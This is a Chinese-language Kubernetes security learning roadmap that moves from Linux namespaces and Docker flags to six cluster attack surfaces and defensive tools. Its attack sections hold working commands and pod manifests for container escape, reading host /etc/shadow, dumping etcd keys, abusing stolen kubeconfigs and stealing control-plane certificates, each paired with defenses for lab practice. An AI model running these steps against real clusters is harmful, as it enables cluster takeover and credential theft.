等待学习-Kubernetes 安全攻防

等待学习-Kubernetes 安全攻防

面向完全没有接触过云原生安全的同学,从 Linux 底层一路学到 K8s 集群攻防。全程 8-10 周,每天 1-2 小时。


路线总览

复制代码
第一阶段  Linux 底层隔离机制(第1-2周)
    ↓
第二阶段  Docker 容器原理(第3周)
    ↓
第三阶段  Kubernetes 基础操作(第4-5周)
    ↓
第四阶段  K8s 六大攻击面(第6-7周)
    ↓
第五阶段  防御体系与工具(第8周)

第一阶段:Linux 底层隔离机制(第1-2周)

为什么先学这个:Kubernetes 跑在 Linux 上,容器隔离靠的就是 Linux 的 Namespace 和 Capabilities。不懂这两个,后面所有攻击和防御都是黑箱。


1.1 Linux 基础命令(2天)

先装一个 Ubuntu 虚拟机(VirtualBox 免费),然后每天敲这些命令,直到不用查就能用。

命令 作用 后面用在哪
ps aux 查看所有进程 理解 PID Namespace
ip addr 查看网络接口 理解 Net Namespace
ss -tlnp 查看监听端口 排查 K8s 组件暴露
`mount df -h` 查看挂载点
ls -la /proc/ 查看进程信息 调试容器
chmod 755 修改权限 理解 Capabilities
sudo -i 切换 root 对比权限差异

过关标准:不看文档,能说出每个命令在干什么。


1.2 Linux Namespace ------ 容器隔离的真相(3天)

核心概念(大白话)

Namespace 就是 Linux 给进程戴的"眼罩"。戴了不同的眼罩,进程看到的世界就不一样。

Namespace 隔离了什么 大白话
PID 进程号 容器里看不到宿主机的进程
NET 网络栈 容器有自己独立的 IP 和端口
MNT 挂载点 容器看到自己独立的文件系统
IPC 进程间通信 容器之间默认不能互相通信
UTS 主机名 容器有自己的 hostname
USER 用户 ID 容器里的 root ≠ 宿主机的 root

实操:自己动手创建 Namespace

① PID Namespace

bash 复制代码
# 创建一个新的 PID namespace,在里面跑一个 bash
unshare --pid --fork --mount-proc bash

# 进去之后
ps aux        # 你会发现只能看到这个 namespace 里的进程
echo $$       # 看看自己的 PID,通常是 1
exit          # 退出 namespace

② NET Namespace

bash 复制代码
# 创建新的网络 namespace
ip netns add myns

# 进入这个 namespace
ip netns exec myns bash

# 进去之后
ip addr       # 看到的网络和外面完全不一样
ping 8.8.8.8  # 可能通可能不通,取决于配置
exit

③ MNT Namespace(最关键)

bash 复制代码
# 创建新的挂载 namespace
unshare --mount --fork bash

# 进去之后
mount | grep /    # 看到的根目录是独立的
df -h              # 磁盘信息也是独立的
exit

调试命令:nsenter

bash 复制代码
# 找到目标容器的 PID
docker inspect <容器名> | grep Pid

# 进入容器的 namespace
nsenter --target <PID> --mount --uts --ipc --net --pid

# 你现在就"在"容器里面了

过关标准:能解释"容器为什么能隔离进程和网络",并手动复现上面三个实验。


1.3 Linux Capabilities ------ root 权限的拆分(2天)

核心概念(大白话)

以前容器要么是 root(太危险),要么不是 root(很多事干不了)。

Capabilities 的思路是:把 root 权限拆成 40 多块小饼干,需要什么给什么

能力 作用 实际影响
CAP_NET_BIND_SERVICE 允许非 root 进程绑定 1024 以下端口 很多攻击容器需要绑定低端口
CAP_SYS_ADMIN 超级权限,几乎能干所有事 特权容器的核心就是加了这个
CAP_DAC_OVERRIDE 绕过文件权限检查 容器逃逸常用
CAP_SYS_MODULE 加载内核模块 高端逃逸手段
CAP_NET_RAW 使用原始套接字 网络扫描攻击

实操:查看自己有哪些能力

bash 复制代码
# 查看当前 shell 的能力
capsh --print

# 对比普通用户和 root 的差异
sudo capsh --print

你会看到 root 有几十个能力,普通用户只有几个。

最佳实践

bash 复制代码
# 生产环境推荐:去掉所有能力,再按需添加
docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE nginx

过关标准 :能说出"为什么容器不该用 --privileged",知道 CAP_SYS_ADMIN 是什么。


第二阶段:Docker 容器原理(第3周)

为什么学这个:Kubernetes 管理的就是容器。不懂 Docker,就看不懂 K8s 的攻击载荷是怎么跑起来的。


2.1 核心概念(1天)

概念 大白话
镜像(Image) 容器的"安装包",只读模板
容器(Container) 镜像跑起来的实例,可读写
仓库(Registry) 存放镜像的地方,如 Docker Hub
Dockerfile 造镜像的"配方"

2.2 关键参数 ------ 攻击全在这里(4天)

参数 作用 攻击中的用法
-v /host:/container 挂载宿主机目录到容器 HostPath 挂载逃逸
--privileged 给容器几乎所有权限 特权容器逃逸
--network host 容器共用宿主机网络 hostNetwork 横向移动
--pid host 容器看到宿主机所有进程 配合 nsenter 调试/逃逸
-p 80:80 端口映射 暴露服务
--cap-add=ALL 给所有能力 等同于 privileged
--cap-drop=ALL 去掉所有能力 安全最佳实践
--restart=always 容器退出后自动重启 持久化恶意负载

实操:特权容器到底能干什么

bash 复制代码
docker run -it --privileged --pid=host --network=host \
  -v /:/host \
  ubuntu bash

# 进入容器后
ls /host              # 能看到宿主机所有文件
ps aux                # 能看到宿主机所有进程
cat /host/etc/shadow  # 能读宿主机密码文件(如果有权限)
ip addr               # 能看到宿主机所有网络接口

这就是容器逃逸的基本原理。后面 K8s 里的 HostPath 挂载攻击,本质就是这个。

实操:用 hostNetwork 做什么

bash 复制代码
docker run -it --network host alpine sh

# 进去之后
ss -tlnp              # 能看到宿主机所有监听端口
curl localhost:6443   # 能直接访问 K8s API Server

过关标准:能手动复现特权容器,并说出每个参数在攻击中对应什么。


第三阶段:Kubernetes 基础操作(第4-5周)

目标:认识 K8s 的每个组件,能用 kubectl 操作集群。这是后面所有攻击的前提。


3.1 架构与组件(2天)

复制代码
┌──────────── 控制平面(Master)────────────┐
│  API Server  ← 所有操作的入口,攻击首要目标  │
│  etcd        ← 存所有数据,包括密码和证书    │
│  Controller Manager ← 维护集群状态         │
│  Scheduler   ← 决定 Pod 跑在哪个节点         │
└──────────────────────────────────────────┘

┌──────────── 工作节点(Node)──────────────┐
│  kubelet     ← 管理本节点 Pod 的生命周期     │
│  kube-proxy  ← 网络代理,容易误配置暴露      │
│  容器运行时(Docker/containerd)             │
└──────────────────────────────────────────┘

记忆口诀:Master 管决策,Node 管执行,API Server 是大门,etcd 是保险箱。


3.2 核心资源(3天)

资源 是什么 YAML 关键字
Pod 最小调度单位,一个或多个容器 spec.containers
Deployment 管理 Pod 的副本和更新 spec.replicas
Service 给 Pod 提供固定访问入口 spec.ports
Namespace 逻辑隔离,多租户用 metadata.namespace
ConfigMap 存配置信息(非敏感) data
Secret 存敏感信息(密码、证书) data(base64 编码)
ServiceAccount Pod 的身份,决定它有什么权限 spec.serviceAccountName

3.3 污点与容忍(2天)← 横向移动的核心

大白话

  • 污点(Taint):Node 说"我不欢迎某类 Pod"
  • 容忍(Toleration):Pod 说"我不介意,让我上去"
yaml 复制代码
# 给 Master 打污点,不让普通 Pod 调度上去
kubectl taint nodes master-node node-role.kubernetes.io/control-plane:NoSchedule

# Pod 要上去,必须加容忍
spec:
  tolerations:
  - key: "node-role.kubernetes.io/control-plane"
    operator: "Exists"
    effect: "NoSchedule"

攻击用法

攻击者构造一个 Pod,加上容忍,再指定 nodeName: master-node,直接跳过调度器,强制跑到 Master 上。

实操

bash 复制代码
# 在本地集群里操作
kubectl taint nodes minikube key=value:NoSchedule

# 创建一个 Pod,不加容忍 → 看它是不是 Pending
# 再创建一个,加上容忍 → 看它能不能调度上去

过关标准:能手写一个带容忍的 YAML,让 Pod 调度到被污点标记的节点。


3.4 搭建本地集群(1天)

bash 复制代码
# 方案一:Minikube(推荐新手)
curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64
chmod +x minikube-linux-amd64
sudo mv minikube-linux-amd64 /usr/local/bin/minikube
minikube start

# 方案二:Kind(更轻量)
# 去 https://kind.sigs.k8s.io/ 下载安装

验证kubectl get nodes 能看到节点。


第四阶段:K8s 六大攻击面(第6-7周)

这是本文的核心。每个攻击面都按 原理 → 攻击链 → 实操 → 防御 四步讲。


攻击面一:API Server 未授权访问

原理

端口 说明 风险
8080 早期版本默认端口,无认证 直接访问 = 拿到集群控制权
6443 HTTPS 端口,有 TLS 认证 配置不当可绕过

攻击链

复制代码
未授权访问 API Server → 获得集群权限 → 创建恶意 Pod → 挂载宿主机 / → 拿到 root

实操

bash 复制代码
# 尝试连接 8080 端口
curl -k https://<master-ip>:8080/api/v1/nodes

# 如果通了,直接创建恶意 Pod
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: evil-pod
spec:
  containers:
  - name: evil
    image: alpine
    command: ["sleep", "3600"]
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    HostPath:
      path: /
EOF

# 进入容器
kubectl exec -it evil-pod -- sh
ls /host/etc/
cat /host/etc/shadow

防御

  • 永远关掉 8080 端口
  • 开启 RBAC 认证
  • 配置 TLS 双向认证

攻击面二:Dashboard 暴露

原理

Dashboard 是 K8s 的 Web 管理界面。如果:

公网暴露 + Skip Login + 高权限 ServiceAccount = 直接接管集群

实操

bash 复制代码
# 部署 Dashboard
kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.7.0/aio/deploy/recommended.yaml

# 用 kubectl proxy 访问
kubectl proxy
# 浏览器打开 http://localhost:8001/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/

防御

  • 不要公网暴露
  • 关掉 Skip Login
  • 用 RBAC 限制权限

攻击面三:etcd 敏感信息泄露

原理

etcd 存了集群所有数据:Secrets(密码)、证书、配置。如果 2379 端口未授权访问,等于把保险箱钥匙给你了。

实操

bash 复制代码
# 如果能访问 etcd
ETCDCTL_API=3 etcdctl --endpoints=https://<master>:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get / --prefix --keys-only

# 你会看到所有 Secret、ConfigMap、证书的 key

防御

  • etcd 必须开 TLS
  • 限制访问 IP
  • 定期轮换证书

攻击面四:kubeconfig 窃取

原理

kubeconfig 文件 = 集群地址 + CA 证书 + 用户 token。拿到它,离线也能控制集群。

常见泄露位置

位置 说明
GitHub 代码仓库 kubeconfig 能找到大量真实配置
网盘备份 很多人把 kubeconfig 传到百度网盘
CI/CD 日志 Jenkins、GitLab CI 日志里经常泄露

实操

bash 复制代码
# 拿到一个 kubeconfig 文件后
export KUBECONFIG=./stolen-kubeconfig
kubectl get nodes          # 直接就能操作集群
kubectl get secrets -A     # 看到所有密码

防御

  • kubeconfig 不要提交到代码仓库
  • 用短期 token
  • 限制 token 权限范围

攻击面五:污点容忍滥用 + nodeName 横向移动

原理

这是从普通 Pod 逃逸到 Master 节点的经典路径。

复制代码
普通 Pod → 加容忍 + 指定 nodeName=master → 调度到 Master
→ 挂载 /etc/kubernetes/pki → 拿到证书
→ 用证书访问 API Server → 集群接管

实操

yaml 复制代码
apiVersion: v1
kind: Pod
metadata:
  name: attack-pod
spec:
  nodeName: master-node              # ← 指定节点,绕过调度器
  containers:
  - name: attack
    image: alpine
    command: ["sleep", "3600"]
    volumeMounts:
    - name: pki
      mountPath: /etc/kubernetes/pki
      readOnly: true
  volumes:
  - name: pki
    HostPath:
      path: /etc/kubernetes/pki
  tolerations:                          # ← 容忍 Master 的污点
  - key: "node-role.kubernetes.io/control-plane"
    operator: "Exists"
    effect: "NoSchedule"
bash 复制代码
kubectl apply -f attack-pod.yaml
kubectl exec -it attack-pod -- sh
ls /etc/kubernetes/pki/
# 你会看到 apiserver.crt、apiserver.key、etcd 证书等

防御

  • 不要给普通用户创建 Pod 的权限
  • Master 节点加强污点
  • 监控异常 Pod 调度

攻击面六:特权容器逃逸

原理

复制代码
恶意 Pod → --privileged + hostNetwork + hostPID
→ 在容器里 nsenter --target 1 --mount --uts --ipc --net --pid
→ 直接进入宿主机命名空间 → 完全控制节点

实操

bash 复制代码
kubectl run privileged-pod --image=alpine \
  --privileged \
  --overrides='{"spec":{"hostNetwork":true,"hostPID":true}}' \
  --command -- sleep 3600

kubectl exec -it privileged-pod -- sh

# 在容器里
apk add util-linux
nsenter --target 1 --mount --uts --ipc --net --pid
# 你现在在宿主机上了

防御

  • 永远不要用 --privileged
  • 用 Pod Security Admission 策略禁止

第五阶段:防御体系与工具(第8周)

方向 工具 用途
漏洞扫描 kube-hunter 扫描集群安全配置
镜像扫描 trivy 扫描镜像里的漏洞和敏感信息
运行时检测 falco 检测异常系统调用
网络策略 Calico / Cilium 限制 Pod 之间的通信
准入控制 Pod Security Standards 禁止特权容器
审计 kube-audit 检查 API Server 的访问日志

学习节奏总表

内容 每天时间 关键产出
1-2 Linux Namespace + Capabilities 1.5h 能手动创建 namespace,说出 5 个 capabilities
3 Docker 关键参数 1.5h 能手动跑特权容器,知道每个参数的攻击用途
4-5 K8s 基础 + 污点容忍 2h 本地集群跑起来,能手写 Pod YAML
6-7 六大攻击面复现 2h 每个攻击都在本地集群复现一遍
8 防御 + 工具 1.5h 能用 kube-hunter 扫一遍自己的集群

最后说一句

K8s 安全攻防的核心逻辑就一句话:

谁能创建 Pod,谁就能控制集群。谁能访问 etcd,谁就能拿到所有密码。

所有攻击面,归根到底都在争这两件事。

先把第一阶段的 Linux Namespace 搞懂,后面 70% 的内容自然就通了。